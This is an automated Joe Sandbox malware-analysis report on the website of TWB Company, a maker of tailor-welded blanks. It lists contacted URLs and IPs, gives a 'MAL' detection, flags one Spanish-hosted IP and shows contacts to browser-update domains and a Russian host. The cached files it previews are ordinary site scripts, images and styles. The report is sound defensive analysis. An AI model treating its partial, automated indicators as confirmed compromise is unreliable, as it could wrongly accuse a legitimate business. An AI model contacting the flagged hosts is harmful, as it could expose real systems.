https://www.twbcompany.com/products/tailor-welded-blanks/	chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.twbcompany.com%2Fproducts%	chromecache_131.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industrie	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png)	chromecache_131.2.dr	false		unknown
https://www.twbcompany.com/wp-json/	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/09/twc-thumb.jpg);	chromecache_219.2.dr	false		unknown
https://www.twbcompany.com/applications/#liftgate	chromecache_131.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg);	chromecache_131.2.dr	false		unknown
https://www.twbcompany.com/?s=	chromecache_136.2.dr	false		unknown
http://underscores.me/	chromecache_135.2.dr	false		unknown
https://www.twbcompany.com/services/optimized-material-utilization/	chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/AlTB-Tunnel-AA6014.jpg);	chromecache_131.2.dr	false		unknown
https://www.twbcompany.com/wp-json/wp/v2/pages/3692	chromecache_198.2.dr	false		unknown
https://www.twbcompany.com/contact-twb/	chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2020/11/commercial-truck-header.jpg)	chromecache_198.2.dr	false		unknown
https://schema.org	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false	URL Reputation: safe	unknown
https://cct.google/taggy/agent.js	chromecache_170.2.dr, chromecache_149.2.dr	false	URL Reputation: safe	unknown
https://www.twbcompany.com/about-twb/	chromecache_136.2.dr	false		unknown
https://www.tailored-blanks.com/en/	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://secure.leadforensics.com/131326.png	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/applications/#door-inner-headerless	chromecache_131.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2024/02/IATF-16949-COMBINED-2.5.24.pdf	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/02/AlTB-Door-hinge-Reinf-RH.jpg);	chromecache_131.2.dr	false		unknown
https://www.twbcompany.com/privacy-policy/	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/?page_id=7433	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://www.google.%/ads/ga-audiences	chromecache_176.2.dr, chromecache_221.2.dr	false		unknown
https://www.twbcompany.com/products/	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/chassis-variable-thickness-frame-rails-request-form/	chromecache_198.2.dr	false		unknown
https://www.twbcompany.com/services/logistics-and-service/#breadcrumb	chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/forming-analysis-hero.jpg)	chromecache_160.2.dr	false		unknown
https://www.twbcompany.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.twbcompany.com%2Fcommercia	chromecache_198.2.dr	false		unknown
https://www.twbcompany.com/#breadcrumb	chromecache_219.2.dr	false		unknown
https://www.twbcompany.com/services/forming-analysis/#primaryimage	chromecache_160.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-fra	chromecache_198.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2024/02/Q1-Cert-SIM-Main-Q1-Details.pdf	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/applications/#tunnel-aluminum	chromecache_131.2.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.76.79.50	virtual.urban-orthodontics.com	Spain	50129	TVHORADADAES	true
77.232.36.155	blacksaltys.com	Russian Federation	28968	EUT-ASEUTIPNetworkRU	false
104.26.13.241	browser-update.org	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
104.21.7.183	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.36	www.google.com	United States	15169	GOOGLEUS	false
104.26.12.241	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
172.67.137.41	browserupdate.org	United States	13335	CLOUDFLARENETUS	false
192.185.125.111	www.twbcompany.com	United States	46606	UNIFIEDLAYER-AS-1US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527947
Start date and time:	2024-10-07 13:15:57 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://www.twbcompany.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.win@23/194@58/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://www.twbcompany.com/commercial-transportation/ Browse: https://www.twbcompany.com/services/logistics-and-service/ Browse: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Browse: https://www.twbcompany.com/services/forming-analysis/ Browse: https://www.twbcompany.com/services/product-design/

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.16.195, 142.250.184.238, 74.125.133.84, 34.104.35.123, 4.157.130.87, 142.250.186.138, 4.158.108.63, 142.250.185.67, 95.101.111.184, 95.101.111.170, 216.58.206.78, 142.250.186.46, 142.250.186.72, 142.250.181.232, 93.184.221.240, 192.229.221.95, 142.250.184.227, 142.250.185.78, 142.250.185.142
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, a08f450d-143e-47c2-9f30-bd9527cc4673.eastus.cloudapp.azure.com, clientservices.googleapis.com, f82e8462-d740-45f8-831b-d4934c82aec4.uksouth.cloudapp.azure.com, ipv6-2.6sc.co.edgekey.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, update.googleapis.com, e212585.b.akamaiedge.net, www.google-analytics.com, c2.6sc.co.edgekey.net, clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, fonts.gstatic.com, b2.6sc.co.edgekey.net, otelrules.azureedge.net, ctldl.windowsupdate.com, lftracking.trafficmanager.net, j2.6sc.co.edgekey.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com, e212585.dscb.akamaiedge.net
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://www.twbcompany.com

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	42720
Entropy (8bit):	5.008454275070529
Encrypted:	false
SSDEEP:	768:Bt4UcFm2AzEqnRFNifrgKIIl86ZUv9CAA9GcZ0eSqC:kKDF3B
MD5:	3DB1E65E46017DA03D9FB95850A3BDB9
SHA1:	B984C31B080175B842F75ADB1435DACC8E226551
SHA-256:	697BF6D6A888E382A81496C2D13F16A6B62FA3A9FE6B1BC811128DCB08DC3844
SHA-512:	CE24509C43DF39F4CB907EBD06C4CAD07C462BC7762537BC27715C53C96C9DEC97F9ACC064B5265ADF76E0CDED4C46AB51B94E8B175BBE31D10BE56B8072D7FF
Malicious:	false
Reputation:	low
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /..;(function ($) {..window.lightcase = {...cache : {},....support : {},....labels : {....'errorMessage' : 'Source could not be found...',....'sequenceInfo.of' : ' of ',....'close' : 'Close',....'navigator.prev' : 'Prev',....'navigator.next' : 'Next',....'navigator.play' : 'Play',....'navigator.pause' : 'Pause'...},..../... Initializes the plugin... ... @param.{object}.options... * @return.{object}... /...init : function (options) {....return this.each(function () {.....$(this).unbind('click').click(function (event) {......event.preventDefault();......$(this).lightcase('start', options);.....});....});...},..../... Starts the plugin... ... @param.{object}.options... * @return.{void}... */...start : function (options) {....lightcase.settings = $.extend(true, {.....idPrefix : 'lightcase-',..

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (12880)
Category:	downloaded
Size (bytes):	13380
Entropy (8bit):	5.330901876538843
Encrypted:	false
SSDEEP:	384:GzMmHW5MxT6jhomAul1KQoZRY5y6jHh1pz:GzMWGh/A0Kr25y6jHl
MD5:	B5D515B8F7FAC46027E60F37D73CBC51
SHA1:	C155D244E2CF60CF0616F8F3A5721A7987A255C2
SHA-256:	4FD944887D3A2438C387A3B6C9BF475A106EED33D7CA307ED94CAFDDC1A31553
SHA-512:	781E16329A2DACA844807B1FCD40F5E8AE8C3FE029A8F3FCFA18A2EFC084CBE7A9120BE742C5BE18A5E056EC94A96740D098D007DD382D2E76A353C4957C370F
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3
Preview:	/* Modernizr 2.8.3 (Custom Build) \| MIT & BSD. * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-flexboxlegacy-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-cssgradients-cssreflections-csstransforms-csstransforms3d-csstransitions-canvas-draganddrop-audio-video-geolocation-inlinesvg-smil-svg-svgclippaths-touch-webgl-shiv-cssclasses-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-load. */.;window.Modernizr=function(a,b,c){function C(a){j.cssText=a}function D(a,b){return C(n.join(a+";")+(b\|\|""))}function E(a,b){return typeof a===b}function F(a,b){return!!~(""+a).indexOf(b)}function G(a,b){for(var d in a){var e=a[d];if(!F(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function H(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:E(f,"function")?f.bind(d\|\|b):f}return!1}function I(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");ret

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:RFUBLSn:jF
MD5:	69A6D6AC1F32FCB4D6F7FDB41A48750A
SHA1:	F30CAC04A502E28CD6659D05E17B3B1D828D9CFB
SHA-256:	2BEDB435BD912846827C7B366FA3D655076CA65D5329379220F4BD812FA5AF93
SHA-512:	14FFEFAFA59D5A581806E07AA6EB8585720ACCAD797674EFC9F64F2D9D5855BF4B070611091B66E3C5AE4BC30B4D671CDD990873578EE3433F51153ED47F6E6C
Malicious:	false
Reputation:	low
URL:	https://secure.leadforensics.com/js/131326.js
Preview:	// /js/131326.js

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	downloaded
Size (bytes):	64141
Entropy (8bit):	7.971609551189249
Encrypted:	false
SSDEEP:	1536:U1JZX+iwApm8DJPEo/qkVThNYv0h3Tkd8cBuGoDWN6m:SJZfpm8FPEIlev0h3INB8DWP
MD5:	F2D56F0A12C3C1C38B1C0906F7B74813
SHA1:	C14CE95C32C1E910D9132B8A26D822A4132E8130
SHA-256:	DDB26FC63365E907C567A425DA1735B0A34744BA28CA74809CF42AA0096FFCB2
SHA-512:	8FFB2DC209F73F89795D4A2F5FA286FF0B1E5521FA743F3888958EF7E85F5970839E2A1711711A46406B4015DC1A7845912CA2DFCC86B86976F50EF93C704E29
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/logistics-hero.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:76AE22F6596811E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC768594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4d6a9d53-b437-43a8-b58c-d29938e7dba7" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	39678
Entropy (8bit):	5.4133565260420085
Encrypted:	false
SSDEEP:	768:vuWX0FZdapFciPTmmojB1bwoEL3F8xnIhW:OapC8TmmojB1bTA3F8xnIhW
MD5:	B52D81C57A5CFAA9B92B7342AA11BAD7
SHA1:	88AF6468B17D738CFA4E283956EAE32ED095E021
SHA-256:	105684DCA97A11A539670615D6A1E431D6567DF33F8637E3BB0B67C07D167054
SHA-512:	BEAD8D0A942D1DECD7F5CD4A3B0DE6EAD25DFF03BA6F796210C30E1FDA4BC4212677E7CC76C120E2BBB815B0FF41010207DCB928F695EA1E644A6D3A5A7433EA
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	downloaded
Size (bytes):	135808
Entropy (8bit):	7.984828276495795
Encrypted:	false
SSDEEP:	3072:ASEgNhhVdoBVb60W4yTU+owd7Mo6eJvr3NWJCc2wFCX5:AkdVOxW4qtH7h6el3dc2wFCX5
MD5:	E8755E7CABE9D79570FE3C7A06E3709E
SHA1:	C1AFCF1240FC6B3B506FD4BA48B9411A1FA98075
SHA-256:	812891EF571C79869577DE9390D51041653273D791F7A4F0A9ACAD6B500F3A94
SHA-512:	9992AD2EDF92ACC75CB17970DCBCF0AD96B7AF30D3C5DA0DDF00D955C5F3E9FAB66FCDB9A10748DF325F3A59441A295F6FCF216B853E1F72BE2223B569E3DE74
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/product-design-hero.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:64ECC761594311E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC760594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31988)
Category:	downloaded
Size (bytes):	70103
Entropy (8bit):	5.350960946609932
Encrypted:	false
SSDEEP:	1536:L5i0S1TpywbZi31SPTnODPEGnVbg94ePcwD4wP1nN69X1SiraqXztGV51Au+:lY7ZbpwDw1y
MD5:	459A293140296A7DD51DABE839A65DD0
SHA1:	845297A9FCE629C6717ECE092449F242AAAEEBF3
SHA-256:	13122B3FD48D530470D735824C63B0B25A895931F5728921F8CC1EB5848FE2BA
SHA-512:	2073062401E4C141A83A4AEB1641FFFBEB87FA89C91C05059D6A60E5EE08522E9D889C72D16529153A4F96DE10B63F4E17B50AB661483D24D5E59833171FB970
Malicious:	false
Reputation:	low
URL:	https://j.6sc.co/6si.min.js
Preview:	!function(){var t={},e={},n={},i={},r={},o={},a={},s={},u={},l={},c={},d={},f={},h={},p={},m={},v={},b={},y={},g={},w={},_={},E={},k={},S={},C={},T={},F={},x={},A={},I={},M={},U={},L={},P={},N=this&&this.__spreadArray\|\|function(t,e,n){if(n\|\|2===arguments.length)for(var i,r=0,o=e.length;r<o;r++)!i&&r in e\|\|(i\|\|(i=Array.prototype.slice.call(e,0,r)),i[r]=e[r]);return t.concat(i\|\|Array.prototype.slice.call(e))},D=this&&this.__extends\|\|function(){var t=function(e,n){return(t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n])})(e,n)};return function(e,n){function i(){this.constructor=e}if("function"!=typeof n&&null!==n)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");t(e,n),e.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}(),O=this&&this.__assign\|\|function(){return O=Object.assign\|\|function(t){for(var e,n=1,i=argument

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1644x424, components 3
Category:	dropped
Size (bytes):	101288
Entropy (8bit):	7.96849431024827
Encrypted:	false
SSDEEP:	3072:hTFdAKcqPPnyfE940VcgCNvy7E5cEMWtwh:hTF2KBeOJrNYO6eh
MD5:	E3158858361AF00EBF031F6F20545C86
SHA1:	8306AC941C5841F39A8887F6F887A863860B0C95
SHA-256:	EBE66E9F2CD47FE71C4EC1994F56CB3DDB361546CF86488C1E18E4CCAF30BA5D
SHA-512:	E9C95CA9A1AD24079EFE6CD154CA852FEFB1E2D6ACC622C8112E5ED2AC43E9BC3A218298869A3F421DFE1081AD5C9E286C2D0B72D04192486274A025F5548806
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 2021 Macintosh" xmpMM:InstanceID="xmp.iid:71E6EB65752911EBB9EAC7E370366254" xmpMM:DocumentID="xmp.did:71E6EB66752911EBB9EAC7E370366254"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:71E6EB63752911EBB9EAC7E370366254" stRef:documentID="xmp.did:71E6EB64752911EBB9EAC7E370366254"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d................................................................................................................................

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	14747
Entropy (8bit):	4.8752118617287
Encrypted:	false
SSDEEP:	384:DeHGoHTP7DzD/JGveshyJF9G0pkjlJkDRNEvTrg:DeHfH73MveshyJFw0pkjlJkDRNEvTrg
MD5:	3789FBBD00D8395DFAD57AF317B6AC12
SHA1:	3E1C23A47F3666FD8FA6BCEA6D1E345DFB5BCC5C
SHA-256:	7B030D01350853617C9133B2E211CACAAC8A0D02C0A5C71B7A906FE48401BE19
SHA-512:	36EC0400EC51251216DDA1A4C449603070875AEDB0033E3018A313426885884E4B42E7C1A1E82E8EFCAB3C3D6CABF50DFE7D9623BCC18389478994F10DD50709
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/style.css?ver=6.5.4
Preview:	/.Theme Name: twb_2016.Theme URI: http://underscores.me/.Author: Pageworks.Author URI: http://www.page.works.Description: A custom theme for TWB Company, LLC.Version: 1.0.0.License: GNU General Public License v2 or later.License URI: http://www.gnu.org/licenses/gpl-2.0.html.Text Domain: twb_2016.Tags:..This theme, like WordPress, is licensed under the GPL..Use it to make something cool, have fun, and share what you've learned with others...twb_2016 is based on Underscores http://underscores.me/, (C) 2012-2015 Automattic, Inc..Underscores is distributed under the terms of the GNU GPL v2 or later...Normalizing styles have been helped along thanks to the fine work of.Nicolas Gallagher and Jonathan Neal http://necolas.github.com/normalize.css/./../*--------------------------------------------------------------.>>> TABLE OF CONTENTS:.----------------------------------------------------------------.# Normalize.# Typography.# Elements.# Forms.# Navigation..## Links..## Menus.# Accessibility

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	35548
Entropy (8bit):	5.416543870977647
Encrypted:	false
SSDEEP:	768:vr7ZbX0FZdapFciPTmmomB1bwogdwur8xnIhW:DwapC8TmmomB1bTJur8xnIhW
MD5:	ECF9076C78D79D9C00E3D65891889B47
SHA1:	CC1686B0673143976177608E823A04E276AC9858
SHA-256:	B3C3FD6523B45E30948CAC709BA434245CAC20D6EB4F428DD86D7A8A0D449AB2
SHA-512:	9A98F002070BA3D6D6091BA9FDBDB27678EEFB02B174142349C982A4C3500DAE747F0E8CFA87E9DC55821A5D7691B269536042560D5463C610726B1EA689A765
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/services/logistics-and-service/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1644x424, components 3
Category:	downloaded
Size (bytes):	101288
Entropy (8bit):	7.96849431024827
Encrypted:	false
SSDEEP:	3072:hTFdAKcqPPnyfE940VcgCNvy7E5cEMWtwh:hTF2KBeOJrNYO6eh
MD5:	E3158858361AF00EBF031F6F20545C86
SHA1:	8306AC941C5841F39A8887F6F887A863860B0C95
SHA-256:	EBE66E9F2CD47FE71C4EC1994F56CB3DDB361546CF86488C1E18E4CCAF30BA5D
SHA-512:	E9C95CA9A1AD24079EFE6CD154CA852FEFB1E2D6ACC622C8112E5ED2AC43E9BC3A218298869A3F421DFE1081AD5C9E286C2D0B72D04192486274A025F5548806
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2020/11/commercial-truck-header.jpg
Preview:	......Exif..II*.................Ducky.......<.....,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 2021 Macintosh" xmpMM:InstanceID="xmp.iid:71E6EB65752911EBB9EAC7E370366254" xmpMM:DocumentID="xmp.did:71E6EB66752911EBB9EAC7E370366254"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:71E6EB63752911EBB9EAC7E370366254" stRef:documentID="xmp.did:71E6EB64752911EBB9EAC7E370366254"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d................................................................................................................................

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 202, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17604
Entropy (8bit):	7.963820744847596
Encrypted:	false
